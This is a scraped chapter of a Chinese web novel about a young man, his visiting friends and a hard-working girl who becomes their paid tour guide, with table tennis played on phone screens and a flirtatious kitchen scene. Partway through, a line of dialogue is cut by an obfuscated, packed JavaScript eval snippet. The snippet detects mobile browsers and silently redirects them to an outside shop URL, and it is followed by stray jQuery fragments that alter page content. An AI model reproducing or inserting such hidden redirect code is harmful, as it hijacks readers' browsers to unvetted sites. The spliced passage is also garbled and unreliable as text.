文趣网 > 其他小说 > 白羊礼赞 > 27. 水荔枝
    打乒乓球的场地非常简陋,是翁秀华用来晾晒葡萄干的一张长条桌板,长宽高都挺合适,又放在葡萄架下边的荫凉里,勉强可以凑合。

    但陈向维没有想到打球的设备会比场地更简陋。

    两人在桌板两侧站定,路昱航从兜里摸出一个乒乓球丢给他:“你先。”

    陈向维随手接住,球标被磨没了,勉强能认出是红双喜wtt,他犹豫地道:“我怎么觉着这球这么旧呢,好像被人用过两三个月了?”

    路昱航:“把好像去掉。”

    乒乓球是昨晚淙夏心血来潮又拽着路昱航去新华书店刮刮乐,刮出来的六等奖。

    路昱航走出店门,语重心长地劝告淙夏不要再刮了,否则下次老板儿子的口水巾也要送她了。

    “行吧,”陈向维倒也不嫌弃,抛了抛球问,“拍儿呢?”

    路昱航从另一边裤兜里拿出手机,屏幕朝他晃了一下。

    陈向维:“……”

    娱乐条件是不是有些太艰苦了。

    “那你就多余整张桌儿。”陈向维无语地跟着掏手机,用屏幕颠了几下球,试了试手感。

    接着抛球,引拍。

    迅速发出一个下旋球,飞向路昱航的正手半台。

    路昱航一板暴冲将球抽回,勾起嘴角笑了下:“仪式感嘛。”

    这一球回得有水平,陈向维看出他是真想打,敛起吊儿郎当,退台两步开始冲弧圈球。

    高速冲来的小球狠狠砸在屏幕上,“啪”声脆响,力量很足,让路昱航手上一震。

    太久没运动,他毫不心疼手机,反而被调动起兴奋神经,及时调整板型,将球压住又迅猛拉回。

    陈向维也是没想到这少爷用手机还能拉出旋转球,有点意外,稍微走了下神,被路昱航抓住空子,一球比一球难搞,一板比一板重,陈向维防了五板开始吃力。

    “啪!”

    最后一板没压住弧线,球直接飞出界。

    陈向维站直身子,手指插进汗湿的头发里往后捋了把,满脸无语:“怎么的,您老打算明年闪耀洛杉矶是么?”

    “嗯呐,”路昱航打得蛮爽,心情不错,从地上捡起球,“到时候记得买张现场票支持下。”

    高温之下的确不适合运动,稍微动一动就像从水里捞出来似的,浑身湿透。

    第二局两人打得漫不经心,到后面索性离了球桌,一个靠着葡萄藤,一个坐在桌角,用手机屏幕面对面地互相颠球玩儿。

    “妹妹挺厉害,还会修车呢。”陈向维把路上碰见淙夏的事情三两句概括了遍。

    路昱航单手抄着兜,颠了两下球,又传向陈向维,懒洋洋地道:“她什么都会修,你把你车扔给她研究几天,她能给你拆开再装上。”

    “真假的?”陈向维用屏幕接住球,眉梢扬起,“她高考多少分?”

    “678。和县状元差四分。”

    这消息是去海观礁山看流星雨的那天晚上,鲁子凡告诉的路昱航。

    他说分出来第二天就有县记者来姜家采访,不过淙夏的班主任老杨打了七八通电话劝她回去复读。

    因为老杨觉得她考砸了。

    她一整个高中都在兼职,包括高三。鲁子凡说,老杨认为她能冲淅宁大学,她全力以赴的水平要比高考多出十分不止。

    但淙夏拒绝复读。

    陈向维手上动作停住,抬头瞧向路昱航,表情诧异。

    小球顺着手机屏弹落桌面,又咕噜噜滚去地上。

    他一时间不知道是该惊讶淙夏考678,还是这个看起来蛮落后的小破县县状元考了682。

    陈向维有这个心理不奇怪,毕竟颐云作为国内首屈一指的繁华都市,而他家的条件在颐云也称得上优渥,养尊处优不食人间烟火的二代,骨子里有着与生俱来的倨傲,自然对十八线小县城存在一点居高临下的俯视心态。

    “这地方卧虎藏龙啊,”陈向维此刻真心佩服,俯身捡起球,抛给路昱航,“妹妹挺可惜,但凡多对一道选择题。”

    路昱航轻松接住,用手机有一下没一下地垫着球,鼻子里哼出一声轻笑:“你怎么知道她选择题不是满分?”

    “她偏科,语文只有94。”

    陈向维品出点不对,两手往后撑上桌面,笑着问:“她考的分数,你骄傲什么?”

    路昱航也笑:“我语文148,我为什么不能骄傲?”

    “装,你再装。”陈向维眯一双狐狸眼,神色揶揄,“不是说恋爱狗都不谈吗少爷。”

    路昱航没理他,垫了三次球之后,面无表情地反手一拍把球抽向他,耳尖发红:“……汪汪汪,行了吧?”

    有生之年听见兄弟学狗叫,陈向维被球砸一下都值,笑倒在长桌上:“绝了,你就这么喜欢?”

    路昱航自己也没辙,正午阳光透过葡萄藤枝叶,在脚边掉落星星点点的光斑,暑意蒸得他脖颈发烫,抬眼望向二楼阳台。

    某人太过没心肝,不知道他翻来覆去至半夜,才想出浇花的笨拙办法,可以在清早就和她搭上话。

    “单纯说喜欢也不对,”路昱航捏着屏幕一角,心不在焉地转手机,“好像比喜欢更复杂一点。”

    类似于基因里的吸引力。

    他来到芦花岛的第一天,姜淙夏在柠檬黄色的皮卡车边和他对视上的第一眼,他的心情已经不受控制地开始为她波动。

    姜淙夏说他总在拒绝她。

    他不拒绝就只能答应,其实她提出什么要求他都想答应。

    但他又不愿意在她面前显得太听话,太好拿捏。

    路昱航叹一口气,颇有些苦恼地看着陈向维:“我有时候觉得自己像她的狗。”

    陈向维:?

    “什么意思?”

    路昱航不知道怎么解释,背后传来豆荚娃娃挂件在走动间互相碰撞的哗啦啦声响。

    两个男生同时转头望去。

    淙夏洗过澡,换了身衣服,柠檬黄的防晒速干长袖和克莱因蓝短裤,一双腿细,长,直,让人分不清袜子和她的肤色哪个更白。

    色彩生动明亮,装扮利落清爽,一扫之前的狼狈,她在后院门口停步,拎着帆布包和帽子,另一只手抬起,对路昱航勾了勾食指。

    一个字没讲。

    路昱航抬脚就过去了。

    陈向维:“……”

    好的兄弟。

    我现在懂了。

    淙夏带关皎皎和乔薇看好房间,剩下两个男生准备交给路昱航,一副对他特别放心的样子:“电脑上登记一下,很简单的。”

    路昱航看她半湿半干的短发,往下又扫过帆布包里的水杯:“你要去小西浪兼职?”

    “对呀。”

    “这么热的天?”

    “赚钱很难哒~”

    “……”

    路昱航若有所思地点了点头,手机在他掌心里转悠一下,两下,他嘴角倏然翘起个弧度,挺坏的,低头凑近淙夏耳边,问她,“想不想赚点不难到手的钱?”

    淙夏眼睛噌地亮了,使劲点头:“想呀想呀,怎么赚?”

    路昱航站直,转身冲着陈向维招了招手,等人走近,问他:

    “你们四个确定住这儿了?”

    “嗯。”

    “玩儿几天?”

    “不好说,”陈向维思忖一番,“四五天,或者一星期。”

    陈、路两家父母很熟,陈向维走的时候跟他爸说是附近城市自驾游,回去晚了怕大人之间穿帮。

    责备不至于,只是免不了又通过他对路昱航进行一通复读洗脑。

    单纯的陈大少此刻还没有意识到,他对哥们掏心掏肺,哥们只想掏他钱包。

    “哦,可以。”路昱航拎着手机的那只手悠哉悠哉地架在淙夏左边肩膀上,“这地儿挺漂亮的,景点也多,够你们逛了,不过有些景区偏,路绕,建议你们找个导游。”

    陈向维以为他来真的:“导游?上哪儿找?”

    淙夏抓紧机会举手自荐:“我!我可以!”

    路昱航假眉三道地垂眼瞧她:“你在旅行社打过工?”

    “当然。”

    “专业么?”

    这方面淙夏从来不允许任何人质疑,她秒切战斗脸,从帆布包里翻出小蜜蜂,拍两下话筒凑近嘴边:

    “喂喂喂,你好,我是AAA金牌导游小丛!”

    “那很专业了。”路昱航评价,又扭头看陈向维,“这么专业的导游,一天收你四百,不过分吧?”

    “……”陈向维视线在俩人之间来回扫,回过味儿,“你——”

    话刚出口,又被路昱航打断,一副摧心剖肝的真诚样子:“顺便可以报一下他们家的果园农家乐,最近采摘月,水果种类很多,现摘现吃,入园费和带走费分开算,办了民宿入住可以打折。”

    淙夏又迅速从包里掏出计算机,噼里啪啦按键盘:“办理入住打九折,熟人友情价八点五折。”

    路昱航:“很划算的。”

    淙夏:“来吧来吧。”

    陈向维:“……”

    你俩在这儿开黑心夫妻店呢?

    还有,这包怎么什么东西都能拿出来?哆啦A梦的四维口袋?

    陈向维望着两人,无言以对半晌,突然笑了。他抛了抛手里的乒乓球,不紧不慢地说:“行啊。”

    “好不容易出来玩儿一趟,这几天的费用我全包了,但是呢,我也有一个小小的邀请做交换。”

    他笑得一副狐狸样子,明显憋着坏水。

    路昱航收回挂在淙夏肩上的手,用眼神告诫他别提过分要求。

    陈向维装作看不见,转向淙夏问:“我查过攻略,你们这儿有个营地叫望蜊山,对么?”

    见淙夏点头,陈向维勾起嘴角,眼神从路昱航脸上轻轻带过,“正好我们约了今晚去山上露营夜宿,小丛妹妹,一起来呗?”

    -

    淙夏顺利入职导游工作,这活儿的确要比海鲜大排档轻松许多。

    工作从下午六点开始,稍稍降了温,夏风清爽,淙夏带着大家去市场采购露营烧烤的食材。

    路昱航没有一起去,他换到下午场驻唱,方便空出晚上的时间。

    五人里只有淙夏不熟,好在她擅长社交,陈向维又很会调节气氛,大家年龄相仿,一路上说说笑笑,倒也不算尴尬。

    小东浪市场货品全,场地大,有东西两个门,傍晚人流拥挤,淙夏担心走散,建议不要分头采购。

    走到半路陈向维还是丢了。

    “不用管他,肯定去花鸟市场了。”耿靳思帮女友拎着大包小包,叼一根烤肠低头刷视频,含糊不清地安慰道,“他就这癖好,上哪儿旅游都得去当地花鸟市场挑一盆仙人掌,跟路昱航一样。”

    淙夏没想到陈向维笑起来一副蔫坏蔫坏的狐狸样子,居然是仙人掌狂热爱好者。

    “路昱航也喜欢仙人掌?”

    “不是,路昱航喜欢石头,各种各样的石头。他去哪儿都得逛石料市场。”

    淙夏“噢”一声,感觉在从路昱航朋友的嘴里收集他的信息碎片,想起被自己好好收藏在床头柜里的粉色兔子印章,她忍不住又问:“路昱航专门学过书法吗?”

    耿靳思还没有说话,旁边和关皎皎一起蹲在小摊前看钩针娃娃的乔薇抬起头:“路昱航的爷爷是颐云书法协会的副会长。”

    乔薇这一路对淙夏的态度不冷不热,此刻突然接话,倒让淙夏有些意外。

    她低头,对视上乔薇藏在渔夫帽帽檐下的眼睛,漂亮,疏离,让她联想到那种尾羽修长白净的小鸟,看人时总带点骄矜的小傲慢。

    两个女生都没有移开目光,就这么互相打量着,乔薇继续道:“他在颐云实验的书法社当了两年的社长,还代表学校拿过奖,在崇真楼有一整面的荣誉书法墙。”

    哇,好厉害。

    这收集到的碎片也太闪亮了。

    淙夏正想着,乔薇忽然站起身凑向她,近距离盯着她的脸,语气里有一丝小小的排挤:“这些路昱航都没有告诉过你?”

    淙夏怔了怔:“……没有。”

    “看来你们的关系挺一般的。”

    “……”

    饶是淙夏再粗神经,也在此刻觉察到对方释放出的一些微妙的不太友善的信号,她并不生气,平视着乔薇的眼睛,心平气和道,“也许吧,我们认识的时间很短,不过人和人本来就是要慢慢了解的。”

    乔薇似乎被她的回答噎住了,张了张嘴,又咬住唇。

    耿靳思个大直男终于意识到氛围的不对,从手机里抬起头,看了眼乔薇,又看了眼淙夏,别人大智若愚,他纯纯大若智:

    “路昱航书法是挺牛,但那不都是被他爸揍出来的吗?”

    乔薇:“……”

    淙夏:“……”

    “闭嘴,”关皎皎买完钩针娃娃,回头瞪耿靳思一眼,“我们女生聊天有你什么事?给陈向维打个电话,问问他仙人掌挑好没有。”

    耿靳思窝窝囊囊地上一边去了。

    支走男友,关皎皎从袋子里拿出针织的蓝色小羊给乔薇,又拎出个晴天娃娃递向淙夏。

    淙夏惊讶一瞬,礼貌拒绝道:“谢谢,但不用啦。”

    “是提前预支的答谢礼物。”关皎皎捏着晴天娃娃头顶的挂钩,在半空轻轻晃了晃,笑着说,“我们有件事想请你帮忙。”

    -

    返回的路上依旧是陈向维开车,扶手箱里放一盆毛绒绒的幼年体狮子王丸。

    几人到家时,路昱航结束驻唱没多久,在院子里和骑士扔着飞盘,玩儿巡回游戏。

    耿靳思兴致勃勃地凑过来,想加入,路昱航弯腰,用手挠着骑士下巴:“来,叫

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17593328|203505||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    叔。”

    耿靳思:“不用那么客气,把我叫老了。”

    路昱航奇怪地瞄他一眼:“我是让你叫它叔,它比你大。”

    狗一岁时已经相当于人的十七岁。

    骑士两岁半。

    陈向维在旁边笑得不行,欠欠地起哄:“快叫,你叔等着呢。”

    耿靳思不肯,两手捧住骑士的狗头教它:“叫干爹。”

    淙夏剥着颗小东浪买的荔枝路过,闻言停脚,不得不提醒了句:“我奶拿它当儿子养的,你让它叫你干爹,不怕我爷半夜上来找你啊?”

    耿靳思:“……”

    一圈儿人全乐了。

    “好了好了,”关皎皎忍着笑安慰,“都说了不许欺负傻子!”

    芦花岛的日落快要变成小镇打卡点,即使不在海边,在平平无奇的农家小院,依旧美得盛大斑斓。

    橘红叠着玫粉,鳞次栉比铺落开,于瓦蓝天空之上灼烧出一片火焰。

    关皎皎拉着乔薇在院子里拍照,耿靳思陪骑士扔飞盘,大E人碰上大E狗,彻底双向奔赴了。

    淙夏坐在水井边的小马扎上,吃着荔枝和赵青提聊微信。

    赵大小姐昨天晚上回淅宁了,有个堂姐暑假结婚,找她做伴娘。

    这会儿发了录屏过来,向淙夏炫耀她的漂亮伴娘服。

    可能在忙,赵青提消息回得很慢,聊两句又消失不见。

    淙夏把去核的荔枝肉整个儿咬进嘴里,鼓着腮帮慢慢嚼,百无聊赖地抬头,恰好隔着半个院子和路昱航撞上视线。

    他倚在门边,手里拎着罐可乐,头发和衣领在风里轻轻摆动,陈向维和他聊着什么,他听得有一搭没一搭,眼睛看着她,漫不经心的样子。

    耿靳思把飞盘扔到陈向维鞋子上,陈向维捡起来,去逗骑士了。

    而路昱航没有移开目光,就这么跟淙夏对望着,抄在兜里的手拿出来,慢条斯理地冲她晃了下手机。

    淙夏慢半拍地反应过来,从赵青提的聊天页面退出。

    路昱航在三分钟前给她发了条微信。

    Torchin:【好吃吗】

    淙夏不知道自己为什么没看见,她咽下荔枝,敲字回复:

    【不好吃,水水的】

    聊天框顶端。

    ‘对方正在输入中……’闪了闪。

    Torchin:【进来】

    ……进哪儿?

    淙夏懵懵地扬起脸,看见路昱航收了手机,挑着眉,远远地向她递来个眼神,自己先进屋了。

    院子里大家都在,路昱航这举动让淙夏九十四分的语文脑袋里蹦出一个不合时宜的四字成语——

    暗度陈仓。

    她瞄一圈四周,发现无人注意,又在椅子上坐了会儿,才若无其事地站起身,抬脚跟过去。

    屋里那么大点空间,想藏人也藏不了,淙夏进门之后,一眼在厨房锚定那道高瘦的身影。

    路昱航站在冰箱旁边,个子高就是方便,他没喝完的半罐可乐顺势放在了冰箱顶上。

    他好像正准备给人发消息,浅浅的白光打在他下巴上,余光瞥见淙夏走近后,他熄灭屏幕抬起眼,想说什么,看到她脸上的表情,话在舌尖滚一圈,又变成气音笑出来。

    “姜丛丛,”他一手扶着冰箱门,笑着问,“你紧张什么?”

    突然被叫小名,淙夏心跳漏了一拍,故作镇定:“我没紧张。”

    路昱航不再逗她,转身把冰箱门打开,从冷藏层拿出中午腌制好的蜜汁肋骨。

    路昱航会做饭,而且厨艺特好这件事,也是从耿靳思的嘴里知道的,他死缠烂打地抱着路昱航大腿说今晚烧烤局要吃他做的烤肋骨,如果吃不到立马走窗户下楼。

    肋骨很新鲜,酱料也腌得极其入味,淙夏隔着段距离闻到一丝甜鲜混合的香,像被胡萝卜勾住脚的兔子,眼睛亮亮地凑上来。

    “晚上会烤嘛?”

    路昱航随便“嗯”了声,用牙签戳开覆在碗上的保鲜膜:“喜欢吃甜咸口还是咸辣口?”

    淙夏想了想:“耿靳思好像说他喜欢咸辣口。”

    路昱航看她一眼:“我问你喜欢什么。”

    “你”字被他放重音。

    明晃晃的,不加掩饰的偏心。

    淙夏愣了下,耳朵有点热。

    早上奇怪的氛围再次出现,明明已经降温,她仍觉得心口烫烫的,像滚着水,有一尾小鱼在蹦跶。

    她一时间说不出话,偏偏路昱航低头,一双眼睛坦荡直视着她,还要往她的沸水底下架柴生火:“不然我为什么单独把你叫进来。”

    ——噗通。

    小鱼高高跃出水面,甩了淙夏一脸水珠子。

    “……哦,”她不得不往后退开两步,感觉离这人太近,空气密度变得好高,“我喜欢咸甜口。”

    路昱航注意到她的动作,正要说话,陈向维屈指敲了敲厨房的推拉门,探头进来:“准备一下,十分钟后出发。”

    陈向维的出现及时打破了厨房里缓慢发酵的高温,淙夏没话找话地追着问了句:“骑士呢?”

    “在院子里。”陈向维道,“要把它也带上么?”

    “不用,晚上奶奶会喂它。”淙夏说着,想出去看看狗。

    被路昱航扣住手腕。

    她指尖过电似的麻了一下,飞快回头望他,但路昱航在看陈向维。

    陈向维接收到信号,利落走人,走之前还把门带上了。

    路昱航在门板合拢的同时松开她,尺寸拿捏得很好,不会过分地往前更进一步。

    “等会儿乔薇可能会来找你换位置,你别同意。”

    “……”

    淙夏抿嘴,摸摸鼻尖。

    路昱航捕捉到她闪躲的眼神:“你已经答应了?”

    “关皎皎说她要和我一辆车,把你换过去。”淙夏不知道为什么,有种把路昱航卖了的心虚感,“……我想着你确实和陈向维他们更熟一点嘛。”

    她这理由搞得路昱航不知道该说什么好,无言地看她好几秒,不轻不重地‘砰’一声关上冰箱门,口吻冷淡又无语:“我跟你不熟?”

    淙夏一怔,抬头看他。

    路昱航其实没有在凶她,但被她这么看一眼,后面那些话也说不出来了,停顿片刻,他放缓语气,把冷掉的气氛往回拉了拉:

    “有没有良心啊你,导游兼职谁帮你找的?”

    淙夏差点以为他生气了,听到后面又感觉他在和她开玩笑,于是眨了眨眼睛:“可要求是关皎皎提出来的,顾客很重要,顾客是上帝~”

    嗯。

    我不重要。

    所以你就可以随便抛弃我。

    路昱航垂眼睨她,不想跟感情呆瓜置气,带着腌肋骨离开厨房之前,意味不明地撂下一句:

    “你看狗倒是看得很紧。”